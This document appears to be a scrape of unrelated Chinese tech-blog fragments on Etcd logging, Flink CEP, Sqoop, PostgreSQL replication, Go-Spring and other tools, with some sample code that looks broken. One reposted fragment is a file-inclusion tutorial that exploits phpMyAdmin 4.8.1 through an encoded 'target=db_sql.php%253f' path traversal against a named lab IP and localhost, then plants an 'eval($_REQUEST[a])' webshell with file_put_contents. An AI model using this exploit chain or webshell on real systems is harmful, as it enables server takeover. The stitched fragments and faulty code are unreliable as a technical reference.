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...cd的日志级别和输出方式：深入理解与实践 Etcd，作为分布式键值存储系统，在Kubernetes集群中扮演着至关重要的角色。它维护了集群状态的一致性，确保服务发现、配置共享等任务的稳定执行。而摸清和玩转Etcd的日志级别调整及输出方式，可是运维人员在解决故障、优化性能时不可或缺的独门秘籍！嘿，朋友们，这篇东西会手把手地带你们揭开Etcd日志设置背后的那些小秘密，就像侦探破案一样层层递进。我将通过实实在在的例子，教大家在日常操作中如何把Etcd日志设置玩得溜起来，让你们见识一下它的灵活性和实用性！ 1. Etcd日志级别简介 Etcd使用了Go语言的标准日志库logrus，提供了多个级别的日志输出，包括Debug、Info、Warning、Error以及Fatal五个等级。不同的日志级别对应不同的信息详细程度： - Debug：记录详细的调试信息，用于开发阶段的问题排查。 - Info：提供运行时的基本信息，如节点启动、客户端连接等。 - Warning：记录潜在错误或非预期行为，但不影响程序正常运行。 - Error：记录已发生错误，可能影响部分功能。 - Fatal：记录严重错误，导致进程终止。 2. 设置Etcd日志级别 Etcd的日志级别可以通过启动参数--log-level来设定。下面是一段启动Etcd并将其日志级别设置为info的示例代码： bash ./etcd --name my-etcd-node \ --data-dir /var/lib/etcd \ --listen-peer-urls http://localhost:2380 \ --listen-client-urls http://localhost:2379 \ --initial-cluster-token etcd-cluster-1 \ --initial-cluster=my-etcd-node=http://localhost:2380 \ --advertise-client-urls http://localhost:2379 \ --log-level=info 上述命令行中--log-level=info表示我们只关心Info及以上级别的日志信息。 3. 输出方式与格式化 Etcd默认将日志输出到标准错误（stderr），你也可以通过--log-output参数指定输出文件，例如： bash ./etcd --log-output=/var/log/etcd.log ... 此外，Etcd还支持JSON格式的日志输出，只需添加启动参数--log-format=json即可： bash ./etcd --log-format=json ... 4. 实践应用与思考 在日常运维过程中，我们可能会遇到各种场景需要调整Etcd的日志级别。比如，当我们的集群闹脾气、出现状况时，我们可以临时把日志的“放大镜”调到Debug级别，这样就能捞到更多更细枝末节的内部运行情况，像侦探一样迅速找到问题的幕后黑手。而在平时一切正常运转的日子里，为了让日志系统保持高效、易读，我们一般会把它调到Info或者Warning这个档位，就像给系统的日常表现打个合适的标签。 同时，合理地选择日志输出方式也很重要。直接输出至终端有利于实时监控，但不利于长期保存和分析。所以，在实际的生产环境里，我们通常会选择把日志稳稳地存到磁盘上，这样一来，以后想回过头来找找线索、分析问题什么的，就方便多了。 总的来说，熟练掌握Etcd日志级别的调整和输出方式，不仅能让我们更好地理解Etcd的工作状态，更能提升我们对分布式系统管理和运维的实战能力。这就像一位超级厉害的侦探大哥，他像拿着放大镜一样细致地研究Etcd日志，像读解神秘密码那样解读其中的含义。通过这种抽丝剥茧的方式，他成功揭开了集群背后那些不为人知的小秘密，确保我们的系统能够稳稳当当地运行起来。

...etty框架通过精心设计和利用JIT编译器的各种优化策略，实现了卓越的性能表现。作为开发者，咱们得好好搞懂这些机制，然后在自己的项目里巧妙地用上。说真的，性能优化就像一场永无止境的马拉松，每次哪怕只有一点点进步，也都值得我们去琢磨和尝试。 希望这篇文章能给你带来一些启发，让我们一起在编程的道路上不断前行吧！ --- 以上就是我对Netty中JIT编译优化的理解和探讨。如果你有任何问题或者想法，欢迎随时留言交流！

...远程集群引用的表，并设计所需的维度和度量。 4. 构建Cube并对跨集群数据进行查询 完成模型定义后，即可构建Cube。Kylin会在后台执行MapReduce任务，读取远程集群的数据并进行预计算。构建完成后，您便可以针对这个Cube进行快速、高效的查询操作，即使这些数据分布在不同的集群上。 bash 在Kylin命令行工具中构建Cube ./bin/kylin.sh org.apache.kylin.tool.BuildCubeCommand --cube-name MyCube --project-name MyProject --build-type BUILD 至此，通过精心配置和一系列操作，您的Kylin环境已经成功支持了跨集群的数据源查询。在这一路走来，我们不断挠头琢磨、摸石头过河、动手实践，不仅硬生生攻克了技术上的难关，更是让Kylin在各种复杂环境下的强大适应力和灵活应变能力展露无遗。 总结起来，配置Kylin支持跨集群查询的关键在于正确设置数据源连接，并在模型设计阶段合理引用这些远程数据源。每一次操作都像是人类智慧的一次小小爆发，每查询成功的背后，都是我们对Kylin功能那股子钻研劲儿和精心打磨的成果。在这整个过程中，我们实实在在地感受到了Kylin这款大数据处理神器的厉害之处，它带来的便捷性和无限可能性，真是让我们大开眼界，赞不绝口啊！

...、有意义的信息，这种方式可以说是一种高级的数据处理技术。 二、应用场景 1. 实时监控系统 在实时监控系统中，我们需要从大量的实时数据流中获取有价值的信息，例如设备故障、异常行为等。Flink CEP可以帮助我们实时地发现这些事件，并及时采取措施。 java StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment(); DataStream> stream = env.addSource(new DataStreamSource<>(new FileInputFormat<>("file:///path/to/input/file"))).map(new MapFunction, Tuple2>() { @Override public Tuple2 map(Tuple2 value) throws Exception { // 将字符串转为整数 return new Tuple2<>(value.f0, Integer.parseInt(value.f1)); } }); Pattern, Tuple2> pattern = Pattern., Tuple2>begin("start") .where(new FilterFunction>() { @Override public boolean filter(Tuple2 value) throws Exception { // 判断是否满足条件 return value.f1 > 10; } }) .next("middle") .where(new FilterFunction>() { @Override public boolean filter(Tuple2 value) throws Exception { // 判断是否满足条件 return value.f1 > 20; } }) .followedByAny("end"); DataStream>> results = pattern.grep(stream); results.print(); env.execute("Flink CEP Example"); 这段代码中，我们首先定义了一个事件模式，该模式包含三个事件，分别名为“start”、“middle”和“end”。然后，我们就在这串输入数据流里头“抓”这个模式，一旦逮到匹配的，就把它全都给打印出来。拿这个例子来说吧，我们想象一下，“start”就像是你按下开关启动一台机器的那一刻；“middle”呢，就好比这台机器正在呼呼运转，忙得不可开交的时候；而“end”呢，就是指你再次关掉开关，让设备安静地停止工作的那个时刻。设备一旦启动运转起来，要是过了10秒这家伙还在持续运行没停下来的话，那咱们就可以把它判定为“不正常行为”啦。 2. 实时推荐系统 在实时推荐系统中，我们需要根据用户的实时行为数据生成个性化的推荐结果。Flink CEP可以帮助我们实现实时的推荐计算。 python from pyflink.datastream import StreamExecutionEnvironment, DataStream, ValueStateDescriptor from pyflink.table import DataTypes, TableConfig, StreamTableEnvironment, Schema, \ BatchTableEnvironment, TableSchema, Field, StreamTableApi env = StreamExecutionEnvironment.get_execution_environment() t_config = TableConfig() t_env = StreamTableEnvironment.create(env, t_config) source = ... t_env.connect JDBC("url", "username", "password") \ .with_schema(Schema.new_builder() \ .field("user_id", DataTypes.STRING()) \ .field("product_id", DataTypes.STRING()) \ .field("timestamp", DataTypes.TIMESTAMP(3)) \ .build()) \ .with_name("stream_table") \ .create_temporary_view() pattern = Pattern( from_elements("order", DataTypes.STRING()), OneOrMore( PatternUnion( Pattern.of_type(DataTypes.STRING()).equalTo("purchase"), Pattern.of_type(DataTypes.STRING()).equalTo("click"))), to_elements("session")) result = pattern.apply(t_env.scan("stream_table")) result.select("order_user_id").print_to_file("/tmp/output") env.execute("CEP example") 在这段代码中，我们首先创建了一个表环境，并从JDBC连接读取了一张表。然后，我们定义了一个事件模式，该模式包含了两个事件：“order”和“session”。最后，我们使用这个模式来筛选表中的数据，并将结果保存到文件中。这个例子呢，我们把“order”想象成一次买买买的行动，而“session”呢，就相当于一个会话的开启或者结束，就像你走进商店开始挑选商品到结账离开的整个过程。当用户连续两次剁手买东西，或者接连点啊点的，我们就会觉得这位朋友可真是活跃得不得了，然后我们就把他的用户ID美滋滋地记到文件里去。 3. 实时告警系统 在实时告警系统中，我们需要在接收到实时数据后立即发送告警。Flink CEP可以帮助我们实现实时的告

...要高可用性的数据。它设计用于分布式系统中，提供强一致性的读写能力，确保数据在多个节点之间同步。Etcd 常被用作配置中心，用于管理分布式应用的配置信息或状态数据，保证系统的可靠性和一致性。 Snapshot , 在计算机存储领域，snapshot（快照）是指在某一时间点对整个文件系统或数据库的一种完全拷贝，用以保留该时间点的数据状态。对于 Etcd 来说，snapshot 文件是一种特殊的快照，用于保存 Etcd 当前状态的完整拷贝。通过定期创建这些快照，系统管理员可以确保即使发生数据丢失或系统故障，也可以恢复到最近的健康状态。Snapshot 文件对于数据保护和灾难恢复具有重要意义。 监控 , 在 IT 系统管理中，监控是指持续跟踪和评估系统资源、性能指标和服务状态的过程。通过部署合适的监控工具和技术，管理员可以及时发现潜在问题并采取相应措施，避免系统故障对业务造成影响。在文章中提到的 Etcd 系统中，有效的监控机制可以帮助快速识别 snapshot 文件损坏等问题，从而缩短恢复时间，提高系统的可用性和稳定性。

...qoop版本的命令行方式 2.1 使用sqoop version命令 最直观且直接的方式就是通过Sqoop提供的命令行接口来获取版本信息： shell $ sqoop version 运行上述命令后，你将在终端看到类似于以下输出的信息： shell Sqoop 1.4.7 Compiled by hortonmu on 2016-05-11T17:40Z From source with checksum 6c9e83f53e5daaa428bddd21c3d97a5e This command is running Sqoop version 1.4.7 这段信息明确展示了Sqoop的版本号以及编译时间和编译者信息，帮助我们了解Sqoop的具体情况。 2.2 通过Java类路径查看版本 此外，如果你已经配置了Sqoop环境变量，并且希望在不执行sqoop命令的情况下查看版本，可以通过Java命令调用Sqoop的相关类来实现： shell $ java org.apache.sqoop.Sqoop -version 运行此命令同样可以显示Sqoop的版本信息，原理是加载并初始化Sqoop主类，然后触发Sqoop内部对版本信息的输出。 3. 探讨 为何需要频繁检查版本信息？ 在实际项目开发和运维过程中，不同版本的Sqoop可能存在差异化的功能和已知问题。例如，某个特定的Sqoop版本可能只支持特定版本的Hadoop或数据库驱动。当我们在进行数据迁移这个活儿时，如果遇到了点儿小状况，首先去瞅瞅 Sqoop 的版本号是个挺管用的小窍门。为啥呢？因为这能帮我们迅速锁定问题是不是版本之间的不兼容在搞鬼。同时呢，别忘了及时给Sqoop更新换代，这样一来，咱们就能更好地享受新版本带来的各种性能提升和功能增强的好处，让 Sqoop 更给力地为我们服务。 4. 结语 通过以上两种方法，我们不仅能够方便快捷地获取Sqoop的版本信息，更能理解为何这一看似简单的操作对于日常的大数据处理工作如此关键。无论是你刚踏入大数据这片广阔天地的小白，还是已经在数据江湖摸爬滚打多年的老司机，都得养成一个日常小习惯，那就是时刻留意并亲自确认你手头工具的版本信息，可别忽视了这个细节。毕竟，在这个日新月异的技术世界里，紧跟潮流，方能游刃有余。 下次当你准备开展一项新的数据迁移任务时，别忘了先打个招呼：“嗨，Sqoop，你现在是什么版本呢？”这样，你在驾驭它的道路上，就会多一份从容与自信。

...出现版本冲突时，可以设计一种重试机制，让客户端获取最新的版本号后重新发起更新请求。但需要注意避免无限循环和性能开销。 - 分布式事务：对于复杂业务场景，可能需要引入分布式事务管理，如使用Solr的TransactionLog功能实现ACID特性，确保在高并发环境下的数据一致性。 - 应用层控制：在应用层设计合理的并发控制策略，例如使用队列、锁等机制，确保在同一时刻只有一个请求在处理特定文档的更新。 - 合理设置Solr配置：比如调整autoCommit和softCommit的参数，以减少因频繁提交而导致的并发冲突。 5. 总结与思考 在实际开发过程中，我们不仅要了解Apache Solr提供的并发控制机制，更要结合具体业务场景灵活运用，适时采取合适的并发控制策略。当碰上并发写入冲突，导致数据插不进去的尴尬情况时，咱们得主动出击，找寻并实实在在地执行那些能解决问题的好法子，这样才能确保咱们系统的平稳运行，保证数据的准确无误、前后一致。在摸爬滚打的探索旅程中，我们不断吸收新知识，理解奥秘，改进不足，这正是技术所散发出的独特魅力，也是咱们这群开发者能够持续进步、永不止步的原动力。

... 优化服务实例自身的设计，确保其具有良好的容错能力，尽量减少因异常而退出的情况发生。同时，对网络环境进行优化，保证Consul Agent与服务实例之间稳定的网络连接。 3.3 配置Consul Agent正确加入集群 仔细审查并调整Consul Agent的配置，确保其能准确无误地加入到Consul集群中。在部署云环境时，为了让Agent能够自动重新连接，我们可以灵活运用动态DNS这个小工具，或者直接采用云服务商提供的服务发现机制，这样一来，即使出现问题，Agent也能自己找到回家的路，保持稳定连接。 4. 结语与思考 面对Consul中服务实例频繁自动注销的问题，我们需要像侦探一样，从多个角度抽丝剥茧寻找问题根源。实践中，正确的健康检查策略、稳定的服务实例以及合理的Consul Agent配置缺一不可。这样才行，我们才能打造出一个既结实又稳当的服务发现系统，让Consul在咱们的微服务家族里真正地发挥作用，发挥出它应有的价值。 以上内容只是抛砖引玉，实际情况可能更为复杂多样，解决问题的过程中，我们也需要不断观察、学习、反思与改进，让技术服务于业务，而不是成为业务发展的绊脚石。在这个过程中，每一步的探索都充满了挑战与乐趣，而这正是技术的魅力所在！

...- 优化业务逻辑：在设计业务流程时，充分考虑并发控制，避免在同一时间窗口内对同一张表进行多次DDL操作。 - 监控与报警：建立完善的监控体系，实时关注ClickHouse集群中的表锁定情况，一旦发现长时间锁定，及时通知相关人员排查解决。 - 版本管理与发布策略：在进行大规模架构变更或表结构调整时，采用灰度发布、分批次更新等策略，降低对线上服务的影响。 总结来说，“TableAlreadyLockedException”是ClickHouse保障数据一致性和完整性的一个重要机制体现。搞明白它产生的来龙去脉以及应对策略，不仅能让我们在平时运维时迅速找到问题的症结所在，还能手把手教我们打造出更为结实耐用、性能强大的大数据分析系统。所以，让我们在实践中不断探索和学习，让ClickHouse更好地服务于我们的业务需求吧！

...与稳定性，更能为未来设计和构建更为复杂且高效的分布式系统奠定坚实基础。

...通过发布和订阅消息的方式来交换数据，而非直接调用API或共享数据库连接。在本文语境中，Apache RocketMQ就是一种高性能、高可靠的分布式消息中间件。 Java类库兼容性问题 , Java类库兼容性问题是指由于Java应用程序所依赖的类库版本与当前Java运行环境（JRE）不匹配导致的问题。例如，RocketMQ 4.9.x版本需要Java 11及以上环境，若在Java 8环境中运行，由于新版本类库可能使用了旧版JRE不支持的特性，就会引发“UnsupportedClassVersionError”，表现为类加载失败，这便是Java类库兼容性问题的具体体现。 向下兼容原则 , 在软件开发领域，向下兼容原则是指新版本软件应当能够支持老版本软件的功能，并能正常处理由老版本创建的数据或执行的任务。在本文讨论中，强调在给系统升级换代时遵循“向下兼容”原则，意味着即使更新RocketMQ或其他组件版本，也要确保其能在现有的基础环境中稳定运行，不影响现有业务流程，避免因版本升级而产生的潜在风险和额外开销。

...achDB等，它们在设计之初就充分考虑了大规模分布式环境下的性能瓶颈问题，提供了一种可能替代或补充Memcached的选择。 综上所述，在实际运维中，我们不仅要深入理解并解决Memcached负载过高导致响应延迟的问题，还要紧跟技术发展趋势，适时引入新的技术和工具，以便更好地应对复杂多变的业务需求，持续优化系统性能。

...理复制和逻辑复制两种方式。物理复制这东西，就好比有个超级认真的小秘书，它利用WAL（提前写日志）的方法，实时、同步地把数据库所有的改动“原封不动”地搬到另一个地方。而逻辑复制呢，则更像是个懂业务的翻译官，专门关注SQL这种高级命令或者一连串的操作事务，特别适合那些需要把数据分发到多个数据库，或者在传输过程中还需要对数据进行转换处理的情况。 2.2 主从复制架构 典型的PostgreSQL数据复制采用主-从架构，其中主节点负责处理写入请求并生成WAL日志，从节点则订阅并应用这些日志，从而实现数据的实时同步。 3. 物理复制实践 3.1 配置主从复制 让我们首先通过一段示例配置开启主从复制： postgresql -- 在主库上创建复制用户并赋予权限 CREATE ROLE replication_user WITH REPLICATION LOGIN ENCRYPTED PASSWORD 'your_password'; GRANT ALL PRIVILEGES ON DATABASE your_database TO replication_user; -- 查看主库的当前WAL位置 SELECT pg_current_wal_lsn(); -- 在从库上设置主库信息 RECOVERY.conf 文件内容如下： standby_mode = 'on' primary_conninfo = 'host=master_host port=5432 user=replication_user password=your_password' -- 刷新从库并启动复制进程 pg_ctl restart -D /path/to/your_slave_node_data_directory 3.2 监控与故障切换 当主库出现故障时，可以手动提升从库为新的主库。但为了实现自动化，通常会借助 Patroni 或者其它集群管理工具来管理和监控整个复制过程。 4. 逻辑复制实践 4.1 创建发布与订阅 逻辑复制需在主库上创建发布（publication），并在从库上创建订阅（subscription）： postgresql -- 在主库上创建发布 CREATE PUBLICATION my_pub FOR TABLE table1, table2; -- 在从库上创建订阅 CREATE SUBSCRIPTION my_sub CONNECTION 'dbname=your_dbname host=master_host user=replication_user password=your_password' PUBLICATION my_pub; 4.2 实时同步与冲突解决 逻辑复制虽然提供更灵活的数据分发方式，但也可能引入数据冲突的问题。所以在规划逻辑复制方案的时候，咱们得充分琢磨一下冲突检测和解决的策略，就像是可以通过触发器或者应用程序自身的逻辑巧妙地进行管控那样。 5. 结论与思考 PostgreSQL的数据复制机制为我们提供了可靠的数据冗余和扩展能力，但同时也带来了一系列运维挑战，如复制延迟、数据冲突等问题。在实际操作的时候，我们得瞅准业务的特性跟需求，像挑衣服那样选出最合身的复制策略。而且呢，咱们还得像个操心的老妈子一样，时刻盯着系统的状态，随时给它调校调校，确保一切运转正常。甭管是在追求数据完美同步这条道上，还是在捣鼓系统性能提升的过程中，每一次对PostgreSQL数据复制技术的深入理解和动手实践，都像是一场充满挑战又收获满满的探险之旅。 记住，每个数据库背后都是鲜活的业务需求和海量的数据故事，我们在理解PostgreSQL数据复制的同时，也在理解着这个世界的数据流动与变迁，这正是我们热衷于此的原因所在！

...ons参数进行了重新设计，新增了一项名为"connection limiting"的功能，允许数据库根据CPU核心数、内存大小等硬件特性来推荐合理的最大连接数，并在达到阈值时采取更平滑的拒绝策略，降低了因过度并发连接引发系统崩溃的风险。 此外，日志管理方面也有显著提升，新版提供了更精细化的日志级别控制和日志轮转功能，管理员可以根据实际情况灵活配置log_line_prefix及log_directory参数，以防止因日志文件过大占用过多磁盘空间而影响服务运行。 综上所述，随着PostgreSQL持续迭代与优化，用户在实际应用中应对系统配置有更为深入的理解与实践。建议密切关注官方发布的最新文档和技术博客，结合自身业务需求，充分利用新版本特性进行系统调优，确保数据库高效稳定运行，为企业的数字化转型提供强大支持。

...致入微的错误处理逻辑设计，为开发者在构建阶段遇到的问题提供了清晰且灵活的解决方案，值得借鉴学习。 总之，紧跟Gradle官方发布的更新信息，关注社区内的实践分享和案例解读，将有助于我们不断提升在Gradle插件中编写高效、可靠错误处理逻辑的能力，优化构建流程，提高软件交付质量。

...其次，优化消息队列的设计和配置也是关键。合理配置RabbitMQ的交换器和队列，避免不必要的消息堆积。例如，可以采用延迟队列或优先级队列等高级功能，以提高系统的整体效率。此外，定期清理无用消息，尤其是死信队列中的消息，可以显著减少磁盘空间的占用。最后，考虑采用分布式存储方案或云服务提供商提供的弹性存储服务，以应对突发流量带来的存储压力。这些措施不仅能有效预防磁盘空间不足的问题，还能提升系统的稳定性和可靠性。 总之，面对RabbitMQ磁盘空间不足的挑战，企业需要综合运用多种技术和管理手段，建立一套行之有效的解决方案。通过持续优化和改进，不仅可以避免类似事件的发生，还可以提升企业的整体竞争力。

...了文中提到的基础处理方式，与时俱进地了解并借鉴行业内的最新研究成果和技术实践，无疑将有助于我们构建更健壮、高可用的大数据处理系统。

...在教育领域和快速原型设计中仍然保持着独特的地位。许多初学者和小型企业用户依然倾向于选择Visual Basic进行桌面应用开发，因其学习曲线平缓且可视化设计工具成熟。 综上所述，无论您是选择C深入企业级开发，还是利用Visual Basic快速实现桌面解决方案，都需要紧跟技术潮流，关注官方发布的最新动态和技术文档，以便充分利用两种语言的优势，应对瞬息万变的技术挑战。

...有了，文件包含。很多网页如果要用到很多同样的函数，那么我们就可以使用这个文件包含函数，就避免了每个网页又去重复造轮子。 在index.php文件里包含1.txt，而1.txt的内容是phpinfo(),include函数包含1.txt，就会把1.txt的内容当成php文件执行，不管后缀是什么。1.txt也好，1.xml也好，只要里面是php代码，然后有被include函数包含，那么就被当成PHP文件执行。 如果包含的文件不存在，就会出现致命的错误，并报出绝对路径，然是不影响其他功能的执行，比如这里的nf和123的输出。那么就表明include函数，如果出现错误的话，并不会影响其他功能的运行。 如果包含的文件不存在，就会出现致命的错误，并报出绝对路径，影响后面功能的执行，比如这里的nf的输出，后面的功能因为2.txt报错，导致123未执行。那么就表明require函数，如果出现错误的话，会影响后面功能的运行。 只要文件内是php代码，文件包含是不在意文件后缀的。 12345.jpg的传参值是a，那么我们可以写传参值=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’) 然后生成一个新的php文件 访问index.php 以上我们接触的全部是本地文件包含 说了本地文件包含，我们再来看远程文件包含 简单来说远程文件包含，就是可以包含其他主机上的文件，并当成php代码执行。 要实现远程文件包含的话，php配置的allow_url_include = on必须为on（开启） 来我们可以来实验一下，把这个配置打开。 “其他选项菜单”——“打开配置文件”——“php-ini” 打开配置文件，搜索allow_url_include 把Off改为On，注：第一个字母要为大写 之后要重启才能生效。 配置开启后，我们来远程文件包含一下，我们来远程包含一下kali上的1.txt，可以看到没有本地包含，所以直接显示的内容。 那我们现在来远程包含一下kali的这个1.txt，看会不会有phpinfo，注意我这里是index文件哦，所以是默认的。 可以看到，包含成功！ 这里可以插一句题外话，如果是window服务器的话，可以让本地文件包含变成远程文件包含。需要开始XX配置，SMB服务。 这里我们可以发现，进入一个不存在的目录，然后再返回上一级，相当于没变目录位置，这个是不影响的，而且这个不存在的目录随便怎么写都可以。 但是php是非常严格的，进入一个不存在的目录，这里目录的名字里不能有？号，否则报错，然后再返回上一级，相当于没变目录位置，这个是不影响的，而且这个不存在的目录随便怎么写都可以。 实战 注意，这里php版本过低，会安装不上 安装好后，我们来解析下源码 1.txt内容phpinfo() 来本地文件包含一下，发现成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt 靶场 http://59.63.200.79:8010/lfi/phpmyadmin/ 先创建一个库名：nf 接着创建表：ff,字段数选2个就行了 然后选中我们之前创建好的库名和表名，开始写入数据，第一个就写个一句话木马，第二个随便填充。 然后我们找到存放表的路径。 这里我们要传参2个，那么就加上&这里我们找到之后传参phpinfo http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=phpinfo(); 因为a在ff.frm里 <?php eval($_REQUEST[a])?>注意，这里面没有分号和单引号 文件包含成功 用file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意，这里面没有分号和单引号 写入成功后，我们连接这个8.php的木马。 http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/8.php 在线测试时这样，但是我在本地测试的时候，还是有点不一样的。我就直接上不一样的地方，前面的地方都是一样的 1，创建一个库为yingqian1984, 2，创建一个表为yq1984 3，填充表数据,因为跟上面一样，2个字段一个木马，一个随便数据 4，找数据表的位置，最后我发现我的MySQL存放数据库的地方是在 C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984 文件包含成功。 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo(); 用file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意，这里面没有分号和单引号 传参成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/9.php?a=phpinfo(); 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_45300786/article/details/108724251。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...uperset的界面设计得超直观，配置选项详尽到家，这使得我们能够轻轻松松将各类数据库与它无缝对接。这样一来，管理和展示数据就变得既高效又轻松啦，就像在公园里遛狗一样简单愉快！不论你是初涉数据世界的探索者，还是经验丰富的数据专家，Superset都能帮助你更好地驾驭手中的数据资源。下次当你准备引入一个新的数据库时，不妨试试按照上述步骤，亲自体验一把数据源创建的乐趣吧！

...和掌握事务的正确使用方式。例如，《MongoDB事务详解与实战》一书深度剖析了MongoDB事务的工作原理、使用限制以及在不同应用场景下的最佳实践，成为广大开发者提升NoSQL数据库事务处理能力的重要参考资源。 总之，在当前快速发展的大数据时代背景下，理解并熟练运用MongoDB事务机制对于构建高可用、高性能的应用系统具有不可忽视的价值。同时，关注MongoDB的最新发展动态和技术趋势，将有助于我们更好地应对未来可能遇到的各种数据管理挑战。

...g Boot的理念和设计模式，为Golang开发者提供了一套便捷、高效的微服务解决方案。它就像一个超级智能的交通指挥员，肚子里装着好几种调配工作量的“小妙招”，比如轮流分配、随机挑选、最少连接数原则等。这样一来，服务间的相互呼叫就能灵活地分散到多个不同的干活机器上，就像是大家一起分担任务一样，既能让整个系统更麻溜地处理大量同时涌进来的请求，又能增强系统的抗故障能力，即使有个别机器罢工了，其他机器也能顶上，保证工作的正常进行。 2. 使用Go-Spring实现负载均衡的基本步骤 2.1 配置服务消费者 首先，我们需要在服务消费者端配置负载均衡器。想象一下，我们的服务使用者需要联系一个叫做“.UserService”的小伙伴来帮忙干活儿，这个小伙伴呢，有很多个分身，分别在不同的地方待命。 go import ( "github.com/go-spring/spring-core" "github.com/go-spring/spring-cloud-loadbalancer" ) func main() { spring.NewApplication(). RegisterBean(new(UserServiceConsumer)). AddCloudLoadBalancer("userService", func(c loadbalancer.Config) { c.Name = "userService" // 设置服务名称 c.LbStrategy = loadbalancer.RandomStrategy // 设置负载均衡策略为随机 c.AddServer("localhost:8080") // 添加服务实例地址 c.AddServer("localhost:8081") }). Run() } 2.2 调用远程服务 在服务消费者内部，通过@Service注解注入远程服务，并利用Go-Spring提供的Invoke方法进行调用，此时请求会自动根据配置的负载均衡策略分发到不同的服务实例。 go import ( "github.com/go-spring/spring-core" "github.com/go-spring/spring-web" ) type UserServiceConsumer struct { UserService spring.Service service:"userService" } func (uc UserServiceConsumer) Handle(ctx spring.WebContext) { user, err := uc.UserService.Invoke(func(service UserService) (User, error) { return service.GetUser(1) }) if err != nil { // 处理错误 } // 处理用户数据 ... } 3. 深入理解负载均衡策略 Go-Spring支持多种负载均衡策略，每种策略都有其适用场景： - 轮询（RoundRobin）：每个请求按顺序轮流分配到各个服务器，适用于所有服务器性能相近的情况。 - 随机（Random）：从服务器列表中随机选择一个，适用于服务器性能差异不大且希望尽可能分散请求的情况。 - 最少连接数（LeastConnections）：优先选择当前连接数最少的服务器，适合于处理时间长短不一的服务。 根据实际业务需求和系统特性，我们可以灵活选择并调整这些策略，以达到最优的负载均衡效果。 4. 思考与讨论 在实践过程中，我们发现Go-Spring的负载均衡机制不仅简化了开发者的配置工作，而且提供了丰富的策略选项，使得我们能够针对不同场景采取最佳策略。不过呢，负载均衡可不是什么万能灵药，想要搭建一个真正结实耐造的分布式系统，咱们还得把它和健康检查、熔断降级这些好兄弟一起，手拉手共同协作才行。 总结来说，Go-Spring以其人性化的API设计和全面的功能集，极大地降低了我们在Golang中实施负载均衡的难度。而真正让它火力全开、大显神通的秘诀，就在于我们对业务特性有如数家珍般的深刻理解，以及对技术工具能够手到擒来的熟练掌握。让我们一起，在Go-Spring的世界里探索更多可能，打造更高性能、更稳定的分布式服务吧！